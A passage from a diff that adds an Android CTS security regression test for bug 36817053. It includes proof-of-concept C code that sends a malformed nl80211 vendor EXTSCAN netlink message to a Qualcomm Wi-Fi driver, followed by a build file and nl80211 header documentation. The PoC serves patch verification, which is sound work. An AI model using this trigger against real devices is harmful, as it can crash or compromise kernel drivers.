+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen;
+ char *buf;
+ struct msgtemplate msg;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ msg.n.nlmsg_seq = time(0);
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_VENDOR;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_VENDOR_ID;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_ID;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_VENDOR_SUBCMD;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = ifindex;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ char data[1024] = {0};
+ int data_size = 0;
+ na_data = data;
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_REQUEST_ID;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = -1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_BASE_PERIOD;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = -1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_MAX_AP_PER_SCAN;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = -1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_RPT_THRHLD_PERCENT;
+ na_data->nla_len = 1 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = -1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_RPT_THRHLD_NUM_SCANS;
+ na_data->nla_len = 1 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = -1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_NUM_BUCKETS;
+ na_data->nla_len = 1 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = 1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = PARAM_CONFIG_FLAGS;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = -1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ char apTh[256] = {0};
+ int apTh_size = 0;
+ struct nlattr *na_apTh = apTh;
+
+ na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
+ na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND;
+ na_apTh->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_apTh) = 0x1;
+ apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
+
+ na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
+ na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD;
+ na_apTh->nla_len = 0 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_apTh) = -1;
+ apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
+
+ char middlebuf[256] = {0};
+ int middlebuf_size = 0;
+ struct nlattr *na_middle = middlebuf;
+
+ na_middle =
+ (struct nlattr *)((char *)na_middle + NLMSG_ALIGN(na_middle->nla_len));
+ na_middle->nla_type = 0;
+ na_middle->nla_len = apTh_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na_middle), apTh, apTh_size);
+ middlebuf_size += NLMSG_ALIGN(na_middle->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC;
+ na_data->nla_len = middlebuf_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na_data), middlebuf, middlebuf_size);
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_VENDOR_DATA;
+ na->nla_len = data_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na), data, data_size);
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ memset(&ans, 0, sizeof(ans));
+
+ ret = recv(fd, &ans, sizeof(ans), 0);
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ char *temp = na;
+
+ return ret;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
new file mode 100644
index 0000000..2d3d8eb
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36817053
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/local_poc.h b/hostsidetests/security/securityPatch/Bug-36817053/local_poc.h
new file mode 100644
index 0000000..f6f8de3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36817053/local_poc.h
@@ -0,0 +1,4379 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __LINUX_LOCAL_POC_H
+#define __LINUX_LOCAL_POC_H
+
+#include <linux/types.h>
+
+#define NL80211_GENL_NAME "nl80211"
+
+/**
+ * DOC: Station handling
+ *
+ * Stations are added per interface, but a special case exists with VLAN
+ * interfaces. When a station is bound to an AP interface, it may be moved
+ * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN).
+ * The station is still assumed to belong to the AP interface it was added
+ * to.
+ *
+ * Station handling varies per interface type and depending on the driver's
+ * capabilities.
+ *
+ * For drivers supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS
+ * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows:
+ * - a setup station entry is added, not yet authorized, without any rate
+ * or capability information, this just exists to avoid race conditions
+ * - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid
+ * to add rate and capability information to the station and at the same
+ * time mark it authorized.
+ * - %NL80211_TDLS_ENABLE_LINK is then used
+ * - after this, the only valid operation is to remove it by tearing down
+ * the TDLS link (%NL80211_TDLS_DISABLE_LINK)
+ *
+ * TODO: need more info for other interface types
+ */
+
+/**
+ * DOC: Frame transmission/registration support
+ *
+ * Frame transmission and registration support exists to allow userspace
+ * management entities such as wpa_supplicant react to management frames
+ * that are not being handled by the kernel. This includes, for example,
+ * certain classes of action frames that cannot be handled in the kernel
+ * for various reasons.
+ *
+ * Frame registration is done on a per-interface basis and registrations
+ * cannot be removed other than by closing the socket. It is possible to
+ * specify a registration filter to register, for example, only for a
+ * certain type of action frame. In particular with action frames, those
+ * that userspace registers for will not be returned as unhandled by the
+ * driver, so that the registered application has to take responsibility
+ * for doing that.
+ *
+ * The type of frame that can be registered for is also dependent on the
+ * driver and interface type. The frame types are advertised in wiphy
+ * attributes so applications know what to expect.
+ *
+ * NOTE: When an interface changes type while registrations are active,
+ * these registrations are ignored until the interface type is
+ * changed again. This means that changing the interface type can
+ * lead to a situation that couldn't otherwise be produced, but
+ * any such registrations will be dormant in the sense that they
+ * will not be serviced, i.e. they will not receive any frames.
+ *
+ * Frame transmission allows userspace to send for example the required
+ * responses to action frames. It is subject to some sanity checking,
+ * but many frames can be transmitted. When a frame was transmitted, its
+ * status is indicated to the sending socket.
+ *
+ * For more technical details, see the corresponding command descriptions
+ * below.
+ */
+
+/**
+ * DOC: Virtual interface / concurrency capabilities
+ *
+ * Some devices are able to operate with virtual MACs, they can have
+ * more than one virtual interface. The capability handling for this
+ * is a bit complex though, as there may be a number of restrictions
+ * on the types of concurrency that are supported.
+ *
+ * To start with, each device supports the interface types listed in
+ * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the
+ * types there no concurrency is implied.
+ *
+ * Once concurrency is desired, more attributes must be observed:
+ * To start with, since some interface types are purely managed in
+ * software, like the AP-VLAN type in mac80211 for example, there's
+ * an additional list of these, they can be added at any time and
+ * are only restricted by some semantic restrictions (e.g. AP-VLAN
+ * cannot be added without a corresponding AP interface). This list
+ * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute.
+ *
+ * Further, the list of supported combinations is exported. This is
+ * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically,
+ * it exports a list of "groups", and at any point in time the
+ * interfaces that are currently active must fall into any one of
+ * the advertised groups. Within each group, there are restrictions
+ * on the number of interfaces of different types that are supported
+ * and also the number of different channels, along with potentially
+ * some other restrictions. See &enum nl80211_if_combination_attrs.
+ *
+ * All together, these attributes define the concurrency of virtual
+ * interfaces that a given device supports.
+ */
+
+/**
+ * DOC: packet coalesce support
+ *
+ * In most cases, host that receives IPv4 and IPv6 multicast/broadcast
+ * packets does not do anything with these packets. Therefore the
+ * reception of these unwanted packets causes unnecessary processing
+ * and power consumption.
+ *
+ * Packet coalesce feature helps to reduce number of received interrupts
+ * to host by buffering these packets in firmware/hardware for some
+ * predefined time. Received interrupt will be generated when one of the
+ * following events occur.
+ * a) Expiration of hardware timer whose expiration time is set to maximum
+ * coalescing delay of matching coalesce rule.
+ * b) Coalescing buffer in hardware reaches it's limit.
+ * c) Packet doesn't match any of the configured coalesce rules.
+ *
+ * User needs to configure following parameters for creating a coalesce
+ * rule.
+ * a) Maximum coalescing delay
+ * b) List of packet patterns which needs to be matched
+ * c) Condition for coalescence. pattern 'match' or 'no match'
+ * Multiple such rules can be created.
+ */
+
+/**
+ * enum nl80211_commands - supported nl80211 commands
+ *
+ * @NL80211_CMD_UNSPEC: unspecified command to catch errors
+ *
+ * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request
+ * to get a list of all present wiphys.
+ * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or
+ * %NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME,
+ * %NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the
+ * attributes determining the channel width; this is used for setting
+ * monitor mode channel), %NL80211_ATTR_WIPHY_RETRY_SHORT,
+ * %NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
+ * and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD.
+ * However, for setting the channel, see %NL80211_CMD_SET_CHANNEL
+ * instead, the support here is for backward compatibility only.
+ * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request
+ * or rename notification. Has attributes %NL80211_ATTR_WIPHY and
+ * %NL80211_ATTR_WIPHY_NAME.
+ * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes
+ * %NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME.
+ *
+ * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration;
+ * either a dump request on a %NL80211_ATTR_WIPHY or a specific get
+ * on an %NL80211_ATTR_IFINDEX is supported.
+ * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE.
+ * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response
+ * to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX,
+ * %NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also
+ * be sent from userspace to request creation of a new virtual interface,
+ * then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and
+ * %NL80211_ATTR_IFNAME.
+ * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from
+ * userspace to request deletion of a virtual interface, then requires
+ * attribute %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified
+ * by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC.
+ * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT,
+ * %NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD.
+ * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA,
+ * %NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER,
+ * and %NL80211_ATTR_KEY_SEQ attributes.
+ * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX
+ * or %NL80211_ATTR_MAC.
+ *
+ * @NL80211_CMD_GET_BEACON: (not used)
+ * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface
+ * using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL
+ * attributes. For drivers that generate the beacon and probe responses
+ * internally, the following attributes must be provided: %NL80211_ATTR_IE,
+ * %NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP.
+ * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters
+ * are like for %NL80211_CMD_SET_BEACON, and additionally parameters that
+ * do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL,
+ * %NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID,
+ * %NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE,
+ * %NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS,
+ * %NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY,
+ * %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT,
+ * %NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS.
+ * The channel to use can be set on the interface or be given using the
+ * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width.
+ * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP
+ * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface
+ * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP
+ *
+ * @NL80211_CMD_GET_STATION: Get station attributes for station identified by
+ * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_STATION: Set station attributes for station identified by
+ * %NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the
+ * the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC
+ * or, if no MAC address given, all stations, on the interface identified
+ * by %NL80211_ATTR_IFINDEX. %NL80211_ATTR_MGMT_SUBTYPE and
+ * %NL80211_ATTR_REASON_CODE can optionally be used to specify which type
+ * of disconnection indication should be sent to the station
+ * (Deauthentication or Disassociation frame and reason code for that
+ * frame).
+ *
+ * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_MPATH: Set mesh path attributes for mesh path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by
+ * %NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP.
+ * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by
+ * %NL80211_ATTR_MAC.
+ * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the
+ * the interface identified by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC
+ * or, if no MAC address given, all mesh paths, on the interface identified
+ * by %NL80211_ATTR_IFINDEX.
+ * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by
+ * %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set
+ * regulatory domain.
+ * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command
+ * after being queried by the kernel. CRDA replies by sending a regulatory
+ * domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our
+ * current alpha2 if it found a match. It also provides
+ * NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each
+ * regulatory rule is a nested set of attributes given by
+ * %NL80211_ATTR_REG_RULE_FREQ_[START|END] and
+ * %NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by
+ * %NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and
+ * %NL80211_ATTR_REG_RULE_POWER_MAX_EIRP.
+ * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain
+ * to the specified ISO/IEC 3166-1 alpha2 country code. The core will
+ * store this as a valid request and then query userspace for it.
+ *
+ * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the
+ * interface identified by %NL80211_ATTR_IFINDEX
+ *
+ * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the
+ * interface identified by %NL80211_ATTR_IFINDEX
+ *
+ * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The
+ * interface is identified with %NL80211_ATTR_IFINDEX and the management
+ * frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be
+ * added to the end of the specified management frame is specified with
+ * %NL80211_ATTR_IE. If the command succeeds, the requested data will be
+ * added to all specified management frames generated by
+ * kernel/firmware/driver.
+ * Note: This command has been removed and it is only reserved at this
+ * point to avoid re-using existing command number. The functionality this
+ * command was planned for has been provided with cleaner design with the
+ * option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN,
+ * NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE,
+ * NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE.
+ *
+ * @NL80211_CMD_GET_SCAN: get scan results
+ * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters
+ * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
+ * probe requests at CCK rate or not. %NL80211_ATTR_MAC can be used to
+ * specify a BSSID to scan for; if not included, the wildcard BSSID will
+ * be used.
+ * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to
+ * NL80211_CMD_GET_SCAN and on the "scan" multicast group)
+ * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons,
+ * partial scan results may be available
+ *
+ * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain
+ * intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL.
+ * Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS)
+ * are passed, they are used in the probe requests. For
+ * broadcast, a broadcast SSID must be passed (ie. an empty
+ * string). If no SSID is passed, no probe requests are sent and
+ * a passive scan is performed. %NL80211_ATTR_SCAN_FREQUENCIES,
+ * if passed, define which channels should be scanned; if not
+ * passed, all channels allowed for the current regulatory domain
+ * are used. Extra IEs can also be passed from the userspace by
+ * using the %NL80211_ATTR_IE attribute.
+ * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT if
+ * scheduled scan is not running. The caller may assume that as soon
+ * as the call returns, it is safe to start a new scheduled scan again.
+ * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan
+ * results available.
+ * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has
+ * stopped. The driver may issue this event at any time during a
+ * scheduled scan. One reason for stopping the scan is if the hardware
+ * does not support starting an association or a normal scan while running
+ * a scheduled scan. This event is also sent when the
+ * %NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface
+ * is brought down while a scheduled scan was running.
+ *
+ * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation
+ * or noise level
+ * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to
+ * NL80211_CMD_GET_SURVEY and on the "scan" multicast group)
+ *
+ * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC
+ * (for the BSSID) and %NL80211_ATTR_PMKID.
+ * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC
+ * (for the BSSID) and %NL80211_ATTR_PMKID.
+ * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries.
+ *
+ * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain
+ * has been changed and provides details of the request information
+ * that caused the change such as who initiated the regulatory request
+ * (%NL80211_ATTR_REG_INITIATOR), the wiphy_idx
+ * (%NL80211_ATTR_REG_ALPHA2) on which the request was made from if
+ * the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or
+ * %NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain
+ * set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is
+ * %NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on
+ * to (%NL80211_ATTR_REG_ALPHA2).
+ * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon
+ * has been found while world roaming thus enabling active scan or
+ * any mode of operation that initiates TX (beacons) on a channel
+ * where we would not have been able to do either before. As an example
+ * if you are world roaming (regulatory domain set to world or if your
+ * driver is using a custom world roaming regulatory domain) and while
+ * doing a passive scan on the 5 GHz band you find an AP there (if not
+ * on a DFS channel) you will now be able to actively scan for that AP
+ * or use AP mode on your card on that same channel. Note that this will
+ * never be used for channels 1-11 on the 2 GHz band as they are always
+ * enabled world wide. This beacon hint is only sent if your device had
+ * either disabled active scanning or beaconing on a channel. We send to
+ * userspace the wiphy on which we removed a restriction from
+ * (%NL80211_ATTR_WIPHY) and the channel on which this occurred
+ * before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER)
+ * the beacon hint was processed.
+ *
+ * @NL80211_CMD_AUTHENTICATE: authentication request and notification.
+ * This command is used both as a command (request to authenticate) and
+ * as an event on the "mlme" multicast group indicating completion of the
+ * authentication process.
+ * When used as a command, %NL80211_ATTR_IFINDEX is used to identify the
+ * interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and
+ * BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify
+ * the SSID (mainly for association, but is included in authentication
+ * request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used
+ * to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE
+ * is used to specify the authentication type. %NL80211_ATTR_IE is used to
+ * define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs)
+ * to be added to the frame.
+ * When used as an event, this reports reception of an Authentication
+ * frame in station and IBSS modes when the local MLME processed the
+ * frame, i.e., it was for the local STA and was received in correct
+ * state. This is similar to MLME-AUTHENTICATE.confirm primitive in the
+ * MLME SAP interface (kernel providing MLME, userspace SME). The
+ * included %NL80211_ATTR_FRAME attribute contains the management frame
+ * (including both the header and frame body, but not FCS). This event is
+ * also used to indicate if the authentication attempt timed out. In that
+ * case the %NL80211_ATTR_FRAME attribute is replaced with a
+ * %NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which
+ * pending authentication timed out).
+ * @NL80211_CMD_ASSOCIATE: association request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Association and Reassociation
+ * (similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request,
+ * MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives).
+ * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to
+ * MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication
+ * primitives).
+ * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like
+ * NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to
+ * MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives).
+ *
+ * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael
+ * MIC (part of TKIP) failure; sent on the "mlme" multicast group; the
+ * event includes %NL80211_ATTR_MAC to describe the source MAC address of
+ * the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key
+ * type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and
+ * %NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this
+ * event matches with MLME-MICHAELMICFAILURE.indication() primitive
+ *
+ * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a
+ * FREQ attribute (for the initial frequency if no peer can be found)
+ * and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those
+ * should be fixed rather than automatically determined. Can only be
+ * executed on a network interface that is UP, and fixed BSSID/FREQ
+ * may be rejected. Another optional parameter is the beacon interval,
+ * given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not
+ * given defaults to 100 TU (102.4ms).
+ * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is
+ * determined by the network interface.
+ *
+ * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute
+ * to identify the device, and the TESTDATA blob attribute to pass through
+ * to the driver.
+ *
+ * @NL80211_CMD_CONNECT: connection request and notification; this command
+ * requests to connect to a specified network but without separating
+ * auth and assoc steps. For this, you need to specify the SSID in a
+ * %NL80211_ATTR_SSID attribute, and can optionally specify the association
+ * IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP,
+ * %NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT,
+ * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
+ * %NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, %NL80211_ATTR_MAC_HINT, and
+ * %NL80211_ATTR_WIPHY_FREQ_HINT.
